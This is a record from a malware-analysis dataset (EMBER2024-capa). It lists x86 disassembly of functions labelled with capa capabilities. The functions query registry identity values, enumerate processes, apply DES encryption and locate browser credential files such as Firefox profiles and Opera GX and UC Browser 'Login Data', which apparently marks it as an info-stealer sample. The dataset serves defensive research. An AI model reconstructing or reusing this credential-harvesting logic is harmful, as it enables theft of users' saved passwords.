joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405811
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f8
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
mov edi, edx
lea eax, [ebp - 0x3ec]
push str.SYSTEMCurrentControlSetServices_s
mov esi, 0x3e8
xor ebx, ebx
push esi
push eax
mov byte [edi], bl
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f0]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x3ec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4058b2
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x3f4], esi
push eax
push edi
lea eax, [ebp - 0x3f8]
push eax
push ebx
push str.ObjectName
push dword [ebp - 0x3f0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x3f0]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4058b2
mov eax, dword [ebp - 0x3f4]
mov byte [edi + eax], bl
xor eax, eax
inc eax
jmp 0x4058b4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x4058c3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
push esi
push edi
mov edi, edx
mov byte [ebx], cl
mov byte [edi], cl
lea eax, [ebp - 0x7d8]
push eax
push 0x20019
push ecx
push str.Volatile_Environment
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40596b
lea eax, [ebp - 0x7dc]
mov dword [ebp - 0x7dc], 0x3e8
push eax
lea eax, [ebp - 0x3ec]
mov byte [ebp - 0x3ec], 0
push eax
lea eax, [ebp - 0x7e0]
push eax
push 0
push str.Username
push dword [ebp - 0x7d8]
call esi
test eax, eax
jne 0x40596b
lea eax, [ebp - 0x3ec]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40596b
lea eax, [ebp - 0x3ec]
push eax
push 0x3e8
push edi
call fcn.006494f3
add esp, 0xc
push dword [ebp - 0x7d8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 0x7d8]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesTcpipParameters
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405a8c
mov byte [ebp - 0x3ec], al
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0x3ec]
mov dword [ebp - 0x7dc], 0x3e8
push eax
lea eax, [ebp - 0x7e0]
push eax
push 0
push str.Hostname
push dword [ebp - 0x7d8]
call esi
test eax, eax
jne 0x405a84
lea eax, [ebp - 0x3ec]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x405a84
lea eax, [ebp - 0x7dc]
mov dword [ebp - 0x7dc], 0x3e8
push eax
lea eax, [ebp - 0x7d4]
mov byte [ebp - 0x7d4], 0
push eax
lea eax, [ebp - 0x7e0]
push eax
push 0
push str.Domain
push dword [ebp - 0x7d8]
call esi
test eax, eax
jne 0x405a5f
lea eax, [ebp - 0x7d4]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x405a5f
lea eax, [ebp - 0x7d4]
push eax
lea eax, [ebp - 0x3ec]
push eax
push str._s._s
push 0x3e8
push ebx
call fcn.00402e0a
add esp, 0x14
jmp 0x405a74
lea ecx, [ebp - 0x3ec]
push ecx
push 0x3e8
push ebx
call fcn.006494f3
add esp, 0xc
push dword [ebp - 0x7d8]
call edi
xor eax, eax
inc eax
jmp 0x405b1e
push dword [ebp - 0x7d8]
call edi
lea eax, [ebp - 0x7d8]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetControlComputerNameActiveComputerName
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405b1c
mov byte [ebp - 0x7d4], al
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0x7d4]
mov dword [ebp - 0x7dc], 0x3e8
push eax
lea eax, [ebp - 0x7e0]
push eax
push 0
push str.ComputerName
push dword [ebp - 0x7d8]
call esi
push dword [ebp - 0x7d8]
mov esi, eax
call edi
test esi, esi
jne 0x405b1c
lea eax, [ebp - 0x7d4]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x405b1c
lea eax, [ebp - 0x7d4]
push eax
push 0x3e8
push ebx
call fcn.006494f3
add esp, 0xc
jmp 0x405a7c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x405b2d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov byte [ebp - 0x3ec], bl
mov byte [ebp - 0x7d4], bl
mov byte [esi], bl
call fcn.00405688
lea ecx, [ebp - 0x7dc]
test eax, eax
push ecx
mov edx, 0x20019
mov ecx, 0x20119
cmove ecx, edx
push ecx
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405b8c
xor eax, eax
jmp 0x405c53
lea eax, [ebp - 0x7d8]
mov dword [ebp - 0x7d8], 0x3e8
push eax
lea eax, [ebp - 0x7d4]
push eax
lea eax, [ebp - 0x7e0]
push eax
push ebx
push str.DefaultUserName
push dword [ebp - 0x7dc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x405bc7
mov byte [ebp - 0x7d4], bl
lea eax, [ebp - 0x7d8]
mov dword [ebp - 0x7d8], 0x3e8
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x7e0]
push eax
push ebx
push str.DefaultDomainName
push dword [ebp - 0x7dc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x405c02
mov byte [ebp - 0x3ec], bl
push dword [ebp - 0x7dc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3ec]
push eax
call fcn.00643470
test eax, eax
lea eax, [ebp - 0x7d4]
pop ecx
push eax
je 0x405c42
lea eax, [ebp - 0x3ec]
push eax
push 0x6c6058
push 0x3e8
push esi
call fcn.00402e0a
add esp, 0x14
jmp 0x405c50
push 0x3e8
push esi
call fcn.006494f3
add esp, 0xc
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret

Function at 0x405c61
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
xor ebx, ebx
push ebx
push edx
push ecx
mov byte [esi], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405c87
xor eax, eax
jmp 0x405cb6
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x3e8
push eax
push esi
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405cab
xor ebx, ebx
inc ebx
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x405cba
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x405d39
test esi, esi
je 0x405d39
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], pe_nt_image_headers32
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x405d22
push ebx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x405d28
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x405d02
jmp 0x405d2e
mov edi, dword [ebp - 0x128]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x405d41
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret

Function at 0x405d50
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
xor edx, edx
movzx ecx, byte [edx + str.80_]
mov eax, ecx
and ecx, 7
shr eax, 3
mov al, byte [eax + 0x710f58]
test byte [ecx*2 + 0x6bcd28], al
setne al
mov byte [ebp + edx - 0x3c], al
inc edx
cmp edx, 0x38
jl 0x405d65
push ebx
push esi
push edi
xor ebx, ebx
lea esi, [ebp - 0x7c]
push 0x1f
mov dword [ebp - 0xf8], ebx
pop edx
and dword [esi + 4], 0
and dword [esi], 0
xor ecx, ecx
movzx eax, byte [ebx + 0x6bd0a0]
cmp eax, 0x1c
jge 0x405dba
mov bl, byte [ebp + eax - 0x3c]
jmp 0x405dbe
mov bl, byte [ebp + eax - 0x58]
mov byte [ebp + ecx - 0x74], bl
inc ecx
inc eax
cmp ecx, 0x1c
jl 0x405daf
mov ebx, dword [ebp - 0xf8]
push 0x1c
pop ecx
movzx eax, byte [ebx + 0x6bd0a0]
add eax, ecx
cmp eax, 0x38
jge 0x405de6
mov bl, byte [ebp + eax - 0x3c]
jmp 0x405dea
mov bl, byte [ebp + eax - 0x58]
mov byte [ebp + ecx - 0x74], bl
inc ecx
inc eax
cmp ecx, 0x38
jl 0x405ddb
xor ecx, ecx
movzx eax, byte [ecx + 0x6bce70]
mov edi, ecx
cmp byte [ebp + eax - 0x74], 0
je 0x405e10
mov eax, dword [edi*4 + 0x6bccc8]
or dword [esi], eax
movzx eax, byte [ecx + 0x6bce88]
cmp byte [ebp + eax - 0x74], 0
je 0x405e2c
mov eax, dword [edi*4 + 0x6bccc8]
or dword [ebp + edx*4 - 0xf4], eax
inc ecx
cmp ecx, 0x18
jl 0x405df7
mov ebx, dword [ebp - 0xf8]
sub edx, 2
inc ebx
sub esi, 8
mov dword [ebp - 0xf8], ebx
cmp edx, 0xffffffff
jg 0x405d9f
pop edi
pop esi
pop ebx
lea ecx, [ebp - 0xf4]
call fcn.00405e68
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.006122f0
leave
ret
Function at 0x405f30
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov eax, ecx
mov dword [ebp - 8], 8
mov dword [ebp - 0xc], eax
mov ecx, 0x73dab8
push esi
push edi
mov edi, dword [eax]
mov edx, dword [eax + 4]
mov eax, edi
shr eax, 4
xor eax, edx
and eax, 0xf0f0f0f
xor edx, eax
shl eax, 4
xor edi, eax
mov eax, edi
shr eax, 0x10
xor eax, edx
movzx eax, ax
xor edx, eax
shl eax, 0x10
xor edi, eax
mov eax, edx
shr eax, 2
xor eax, edi
and eax, 0x33333333
xor edi, eax
shl eax, 2
xor edx, eax
mov eax, edx
shr eax, 8
xor eax, edi
and eax, 0xff00ff
xor edi, eax
shl eax, 8
xor edx, eax
mov ebx, edx
shr ebx, 0x1f
lea eax, [edx + edx]
or ebx, eax
mov eax, ebx
xor eax, edi
and eax, 0xaaaaaaaa
xor edi, eax
xor ebx, eax
ror edi, 0x1f
mov edx, ebx
ror edx, 4
xor edx, dword [ecx]
add ecx, 4
mov dword [ebp - 4], ecx
mov eax, edx
shr eax, 0x10
mov ecx, edx
and eax, 0x3f
shr ecx, 0x18
and ecx, 0x3f
mov esi, dword [ecx*4 + 0x6bc9c8]
or esi, dword [eax*4 + 0x6bcd38]
mov eax, edx
shr eax, 8
and edx, 0x3f
and eax, 0x3f
or esi, dword [eax*4 + 0x6bd0b0]
or esi, dword [edx*4 + 0x6bcbc8]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
add eax, 4
mov dword [ebp - 4], eax
xor edx, ebx
mov ecx, edx
mov eax, edx
shr eax, 0x10
shr ecx, 0x18
and eax, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x6bcfa0]
or ecx, dword [eax*4 + 0x6bc8c8]
mov eax, edx
shr eax, 8
and edx, 0x3f
and eax, 0x3f
or ecx, dword [eax*4 + 0x6bcea0]
or ecx, dword [edx*4 + 0x6bcac8]
mov eax, dword [ebp - 4]
or ecx, esi
xor edi, ecx
mov edx, edi
ror edx, 4
xor edx, dword [eax]
add eax, 4
mov dword [ebp - 4], eax
mov ecx, edx
shr ecx, 0x18
mov eax, edx
shr eax, 0x10
and ecx, 0x3f
and eax, 0x3f
mov esi, dword [ecx*4 + 0x6bc9c8]
or esi, dword [eax*4 + 0x6bcd38]
mov eax, edx
shr eax, 8
and edx, 0x3f
and eax, 0x3f
or esi, dword [eax*4 + 0x6bd0b0]
mov eax, dword [ebp - 4]
or esi, dword [edx*4 + 0x6bcbc8]
mov edx, dword [eax]
add eax, 4
xor edx, edi
mov dword [ebp - 4], eax
mov ecx, edx
mov eax, edx
shr ecx, 0x18
and ecx, 0x3f
shr eax, 0x10
and eax, 0x3f
mov ecx, dword [ecx*4 + 0x6bcfa0]
or ecx, dword [eax*4 + 0x6bc8c8]
mov eax, edx
shr eax, 8
and edx, 0x3f
and eax, 0x3f
or ecx, dword [eax*4 + 0x6bcea0]
or ecx, dword [edx*4 + 0x6bcac8]
or ecx, esi
xor ebx, ecx
sub dword [ebp - 8], 1
mov ecx, dword [ebp - 4]
jne 0x405fb3
mov esi, ebx
shr ebx, 1
shl esi, 0x1f
or esi, ebx
mov eax, esi
xor eax, edi
and eax, 0xaaaaaaaa
xor edi, eax
xor esi, eax
mov edx, edi
shr edi, 1
shl edx, 0x1f
or edx, edi
mov eax, edx
shr eax, 8
xor eax, esi
and eax, 0xff00ff
xor esi, eax
shl eax, 8
xor edx, eax
mov eax, edx
shr eax, 2
xor eax, esi
and eax, 0x33333333
xor esi, eax
shl eax, 2
xor edx, eax
mov eax, esi
shr eax, 0x10
xor eax, edx
movzx eax, ax
xor edx, eax
shl eax, 0x10
xor esi, eax
mov ecx, esi
shr ecx, 4
xor ecx, edx
and ecx, 0xf0f0f0f
mov eax, ecx
shl eax, 4
xor eax, esi
mov esi, dword [ebp - 0xc]
xor ecx, edx
pop edi
mov dword [esi], eax
mov dword [esi + 4], ecx
pop esi
pop ebx
leave
ret
Function at 0x407120
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x107]
push 0x103
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x108], bl
call fcn.006390b0
add esp, 0xc
mov byte [0x72bb48], bl
mov edi, ebx
cmp esi, 8
jne 0x407169
mov eax, str.MozillaSeaMonkey
jmp 0x407194
cmp esi, 0x17
jne 0x407175
mov eax, str.Waterfox
jmp 0x407194
cmp esi, 0x104
jne 0x407184
mov eax, str.PostboxApp
jmp 0x407194
cmp esi, 0x74
mov eax, str.Instantbird
mov ecx, str.MozillaFirefox
cmovne eax, ecx
push eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x4071d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x108]
push eax
push str._s_sprofiles.ini
lea eax, [ebp - 0x810]
push 0x208
push eax
call fcn.00402e0a
push 0x6c63d0
lea eax, [ebp - 0x810]
mov dword [ebp - 0x814], ebx
push eax
lea eax, [ebp - 0x814]
push eax
call fcn.00649a00
add esp, 0x20
test eax, eax
jne 0x4071c5
cmp dword [ebp - 0x814], ebx
je 0x4071c5
mov esi, 0x400
jmp 0x40732a
lea eax, [ebp - 0x608]
push eax
call fcn.00643470
inc eax
push eax
lea eax, [ebp - 0x608]
push eax
call fcn.0064ffd4
push str._profile
call fcn.00643470
push eax
lea eax, [ebp - 0x608]
push str._profile
push eax
call fcn.00650030
add esp, 0x1c
test eax, eax
jne 0x40727b
mov edi, ebx
mov byte [0x72bb48], bl
jmp 0x40732a
lea eax, [ebp - 0x608]
push str.default1
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x4072a0
xor edi, edi
inc edi
cmp byte [0x72bb48], bl
jmp 0x407328
lea eax, [ebp - 0x608]
push str.path
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x40732a
lea eax, [ebp - 0x608]
push 0x2f
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x4072ce
mov byte [eax], 0x5c
lea eax, [ebp - 0x608]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, esi
jae 0x40736a
mov byte [ebp + eax - 0x608], bl
lea eax, [ebp - 0x608]
push 0x3d
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x40732a
inc eax
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x108]
push eax
push 0x6c63f4
push 0x3e8
push 0x72bb48
call fcn.00402e0a
add esp, 0x18
test edi, edi
jne 0x407348
push dword [ebp - 0x814]
lea eax, [ebp - 0x608]
push esi
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x407231
push dword [ebp - 0x814]
call fcn.00649273
pop ecx
cmp byte [0x72bb48], bl
je 0x4071c5
mov eax, 0x72bb48
jmp 0x4071c7
call fcn.00612782
int3
Function at 0x40748c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4074e6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4074e6
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4074d6
cmp esi, ecx
jae 0x4074e6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x4074c4
cmp esi, ecx
jae 0x4074e6
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
jmp 0x4074e8
xor eax, eax
pop esi
pop ebp
ret

Function at 0x408865
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, ecx
push dword [esi + 0x144]
call fcn.004cdb8d
push dword [esi + 0x14c]
call fcn.004cdb8d
push dword [esi + 0x150]
call fcn.004cdb8d
push dword [esi + 0x148]
call fcn.004cdb8d
add esp, 0x10
mov ecx, esi
pop esi
jmp fcn.0044c2c4

Function at 0x40aa67
Capabilities:
Accept command line arguments

Disassembly:
push 4
mov eax, 0x66c9da
call fcn.00612ae6
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
push esi
call fcn.00643470
inc eax
push eax
push esi
call fcn.0064ffd4
push str..exe
push esi
call fcn.00639500
add esp, 0x14
test eax, eax
jne 0x40aaa9
xor eax, eax
call fcn.00612ab4
ret
cmp cl, 0x20
je 0x40aab1
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x40aaa3
jmp 0x40aa9b
push eax
lea ecx, [ebp - 0x10]
call fcn.004446f6
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0044509d
mov ecx, eax
call fcn.00445036
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [ecx - 0xc], 1
setge bl
add ecx, 0xfffffff0
call fcn.004061d0
mov eax, ebx
jmp 0x40aa9d
Function at 0x40bc6b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf
mov ebx, ecx
lea edi, [ebp - 0x84]
pop ecx
mov esi, str.Fenrir_IncSleipnir5_settingmodulesChromiumViewerDefault_
lea eax, [ebp - 0xfd]
rep movsd dword es:[edi], dword [esi]
push 0xf
pop ecx
push 0x75
movsw word es:[edi], word [esi]
mov esi, str.Fenrir_IncSleipnir_settingmodulesChromiumViewerDefault_
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.Login_Data
lea edi, [ebp - 0x108]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x518]
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40bd83
lea eax, [ebp - 0x108]
mov edi, 0x6c7028
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x518]
push eax
push edi
lea eax, [ebp - 0x310]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x310]
call fcn.00405670
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40bd29
call esi
jmp 0x40bd39
lea eax, [ebp - 0x310]
mov ecx, ebx
push eax
push 0xe
call fcn.0044248c
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x518]
push eax
push edi
lea eax, [ebp - 0x310]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x310]
call fcn.00405670
test eax, eax
jne 0x40bd73
call esi
jmp 0x40bd83
lea eax, [ebp - 0x310]
mov ecx, ebx
push eax
push 0xe
call fcn.0044248c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret

Function at 0x40bd92
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.Login_Data
mov dword [ebp - 0xc], 0x6172425c
lea edi, [ebp - 0x90]
mov dword [ebp - 8], 0x5c6576
push 0x75
lea eax, [ebp - 0x85]
mov ebx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
mov ecx, ebx
push esi
push 0x14
call fcn.0044248c
lea eax, [ebp - 0x4a0]
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40be4e
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x4a0]
push eax
push 0x6c7028
lea eax, [ebp - 0x298]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x298]
call fcn.00405670
test eax, eax
jne 0x40be3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40be4e
lea eax, [ebp - 0x298]
mov ecx, ebx
push eax
push 0x14
call fcn.0044248c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x40be5d
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x97c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x207
lea eax, [ebp - 0x21f]
mov byte [ebp - 0x220], 0
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
lea edi, [ebp - 0x14]
mov esi, str.Opera_Software
lea eax, [ebp - 0x838]
push eax
movsd dword es:[edi], dword [esi]
xor eax, eax
push eax
push eax
push 0x1a
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40c001
lea eax, [ebp - 0x838]
mov edi, 0x208
push eax
lea eax, [ebp - 0x220]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x220]
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x630]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x630]
push 0x6c7624
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0x978]
push eax
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40c001
test byte [ebp - 0x978], 0x10
je 0x40bfdf
cmp byte [ebp - 0x94c], 0x2e
je 0x40bfdf
lea eax, [ebp - 0x94c]
push str.Opera_GX_Stable
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
lea eax, [ebp - 0x94c]
push eax
lea eax, [ebp - 0x220]
push eax
push str._s_sLogin_Data
lea eax, [ebp - 0x428]
push edi
push eax
jne 0x40bf94
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x428]
push eax
push 0x43
jmp 0x40bfd8
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x428]
mov ecx, ebx
push eax
push 2
call fcn.0044248c
lea eax, [ebp - 0x94c]
push eax
lea eax, [ebp - 0x220]
push eax
push str._s_sDefaultLogin_Data
lea eax, [ebp - 0x428]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x428]
push eax
push 2
mov ecx, ebx
call fcn.0044248c
lea eax, [ebp - 0x978]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bf35
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
jmp 0x40c003
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x40c012
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb58
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x214]
push edi
mov esi, 0x208
mov ebx, ecx
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x214]
push 0x6c7624
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xb54]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40c07a
xor eax, eax
jmp 0x40c14b
test byte [ebp - 0xb54], 0x10
jne 0x40c12b
lea eax, [ebp - 0xb28]
push eax
lea eax, [ebp - 0x614]
push 0x400
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x614]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x614]
push eax
call fcn.0064ffd4
push str.uc_login_data
call fcn.00643470
add esp, 0xc
push eax
lea eax, [ebp - 0x614]
push str.uc_login_data
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x40c12b
lea eax, [ebp - 0x614]
push str.journal
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
jne 0x40c12b
lea eax, [ebp - 0xb28]
push eax
push edi
push 0x6c643c
lea eax, [ebp - 0xa14]
push 0x400
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xa14]
mov ecx, ebx
push eax
push 0xb
call fcn.0044248c
lea eax, [ebp - 0xb54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40c07a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4